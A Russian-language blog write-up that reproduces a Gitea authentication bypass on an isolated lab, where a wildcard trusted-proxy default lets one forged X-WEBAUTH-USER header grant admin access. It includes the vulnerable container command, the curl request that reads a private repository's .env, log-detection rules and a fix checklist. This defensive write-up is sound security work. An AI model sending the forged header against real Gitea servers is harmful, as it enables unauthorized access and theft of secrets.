«Приватное» оказалось не приватным: разбираю свежий Gitea auth-bypass на живом стенде

от автора

Люди поднимают self-hosted git не от хорошей жизни. Ставят Gitea или Forgejo тогда, когда код нельзя отдавать наружу. Даже в приватные репозитории на GitHub не хочется, нужен свой закрытый контур, свои правила. Весь смысл затеи в приватности. Своё, за забором, под контролем.

А теперь представьте, что забора нет. Что “приватный” репозиторий отдаёт содержимое любому, кто попросит правильно. Что админом можно зайти без пароля, одним HTTP-заголовком.

Ровно это в 2026-м у Gitea и случилось. Причём не один раз.

Сразу оговорюсь: Gitea я сам не гоняю, и статья не про неё. Я занимаюсь безопасностью серверов, и здесь меня цепляет не конкретный продукт, а проблема, которую я вижу постоянно. Опасные дефолты в официальных Docker-образах. Человек берёт образ, запускает “как в доке”, и получает дыру, которую сам не закладывал. Поэтому я взял свежий критический CVE, поднял уязвимую версию на стенде и прошёл атаку целиком. Чтобы показать, насколько всё буквально.

Один заголовок до админа: CVE-2026-20896 (CVSS 9.8)

Вся уязвимость помещается в одну строку конфига.

Gitea умеет жить за аутентифицирующим reverse-proxy. Прокси проверяет пользователя и передаёт его имя в заголовке X-WEBAUTH-USER, а Gitea этому заголовку верит. Пока заголовок приходит от доверенного прокси, всё честно. За доверие отвечает параметр REVERSE_PROXY_TRUSTED_PROXIES. И вот в официальном Docker-образе он стоял в звёздочку. То есть “верить этому заголовку с любого адреса”.

Дальше арифметика простая. Админ включает reverse-proxy-авторизацию (её включают ради SSO), и любой человек из интернета шлёт заголовок X-WEBAUTH-USER: admin и становится админом. 9.8 по CVSS. Sysdig поймал попытки эксплуатации в дикой природе уже через несколько дней после публикации PoC.

Стенд

Всё в изолированном контейнере на localhost, секреты фейковые. Уязвимая версия и тот самый дефолт:

docker run -d --name vuln-gitea -p 127.0.0.1:3999:3000 \  -e GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES='*' \  -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \  gitea/gitea:1.26.2

Создал админа и приватный репозиторий secret-infra, а в нём .env. Ровно то, ради чего люди и держат приватный git у себя:

DB_PASSWORD=SuperSecret_Prod_2026AWS_SECRET_KEY=AKIA_fake_prod_key_xyzSTRIPE_LIVE=sk_live_fake_demo

Атака

Сначала смотрю на сервис как случайный прохожий из интернета, без единого доступа:

GET /admin/secret-infra/raw/branch/main/.env  -> 404 Not FoundGET /api/v1/user                              -> 401 Unauthorized

Закрыто, как и должно быть. Теперь добавляю один заголовок:

curl -H 'X-WEBAUTH-USER: admin' \  http://target:3000/admin/secret-infra/raw/branch/main/.env
DB_PASSWORD=SuperSecret_Prod_2026AWS_SECRET_KEY=AKIA_fake_prod_key_xyzSTRIPE_LIVE=sk_live_fake_demo

Всё. Приватное перестало быть приватным. Идём в админку:

GET /-/admin        без заголовка   -> 303, редирект на логинGET /-/admin        с заголовком    -> 200, дашборд администратораGET /-/admin/users  с заголовком    -> 200, список всех пользователей

Полный контроль. Ни пароля, ни токена, ни учётки.

Одна деталь, чтобы не обмануться

Заголовок работает на веб-маршрутах: UI, raw-файлы, админка. А на /api/v1 не работает, там нужен токен, и API мне честно вернул 401. Звучит успокаивающе, но успокаиваться рано. Атакующий уже сидит в вебе админом, а значит через ту же веб-форму настроек выпускает себе персональный API-токен. И получает API. Просто в два шага вместо одного.

Как поймать в логах

След у атаки характерный. Успешные ответы на приватные и админские пути с адреса, которого там быть не должно:

router: completed GET /admin/secret-infra/raw/branch/main/.env for 172.30.0.3, 200 OKrouter: completed GET /-/admin for 172.30.0.3, 200 OK

Правило для алерта: 200 OK на /-/admin или на raw-файлы приватных репозиториев с IP, который не является вашим reverse-proxy. Если перед Gitea стоит один прокси, то любой заход в админку не с его адреса это уже инцидент.

Фикс

Доверять заголовку только от реального прокси, а не от всех:

-e GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES='10.0.0.5'   # IP/CIDR вашего прокси

Пересоздал контейнер с этим значением, повторил тот же самый эксплойт из того же источника:

GET /-/admin с заголовком                                -> 401GET /admin/secret-infra/raw/branch/main/.env с заголовком -> 401

Заголовок с недоверенного адреса теперь просто игнорируется. По-хорошему надо обновиться до 1.26.4, где звёздочку из дефолта убрали. Не до 1.26.3, там в фиксе SSRF была регрессия. И если reverse-proxy-авторизация вам вообще не нужна, выключите её, и разговора не будет.

Это не единичный баг

Самое неприятное вылезает, если посмотреть на весь 2026-й у Gitea. Болезнь одна и та же, сломанный контроль доступа, а болеют разные органы.

Встроенный реестр контейнеров, CVE-2026-27771. Приватные образы отдавались анониму. Слово “private” на репозитории с образами оказалось просто меткой в интерфейсе. На уровне OCI-протокола, которым Docker и Kubernetes реально тянут образы, аутентификацию не проверяли вообще. Баг прожил около четырёх лет, под ударом оказалось порядка 30 000 инстансов в интернете, зацепило и Forgejo. Та же история: система думает, что доступ ограничен, а он не ограничен.

Дальше вебхуки и миграции, CVE-2026-22874, SSRF из-за дырявого allow-list фильтра, дотянуться можно было до внутренних адресов. Потом LFS и CVE-2026-28740: обход авторизации давал чтение приватных репозиториев и переиспользование объектов между репозиториями без прав.

Реестр, LFS, вебхуки, reverse-proxy. Каждая крутая фича поверх git притащила свою дыру в контроле доступа. Это и есть цена богатого функционала. Чем больше умеет сервис, тем больше в нём мест, где “приватное” внезапно оказывается общедоступным.

Если у вас крутится Gitea, проверьте сегодня

  1. Версия. 1.26.4 или новее. 1.26.3 не берите, там регрессия в фиксе SSRF.

  2. REVERSE_PROXY_TRUSTED_PROXIES. Не звёздочка, а конкретный IP или CIDR вашего прокси. Авторизация через прокси не нужна, выключайте.

  3. Встроенный registry. Обновление обязательно из-за CVE-2026-27771. Быстрая затычка от анонима: REQUIRE_SIGNIN_VIEW=true в секции service.

  4. Сеть. Не вешайте Gitea голым портом наружу. Впереди прокси или WAF, сетевые политики, ограничение на админские пути.

  5. Мониторинг. Алерт на 200 OK по /-/admin и по raw-файлам приватных репозиториев с чужих адресов.

  6. Экспозиция. Просканируйте себя снаружи и посмотрите, что реально торчит. Registry и LFS часто открыты шире, чем думает владелец.

Что из этого забрать

Одна звёздочка в дефолтном конфиге, и вот вам дыра на 9.8. Штука не про Gitea и не про эту конкретную CVE. Официальные образы приучили нас запускать чужие дефолты не глядя, а “работает из коробки” и “безопасно из коробки” это два очень разных состояния. Иногда между приватным и публичным ровно один символ. Здесь это была звёздочка.


Стенд поднимался в изолированном окружении, все секреты фейковые. Материал для защиты своих систем.

ссылка на оригинал статьи https://habr.com/ru/articles/1061222/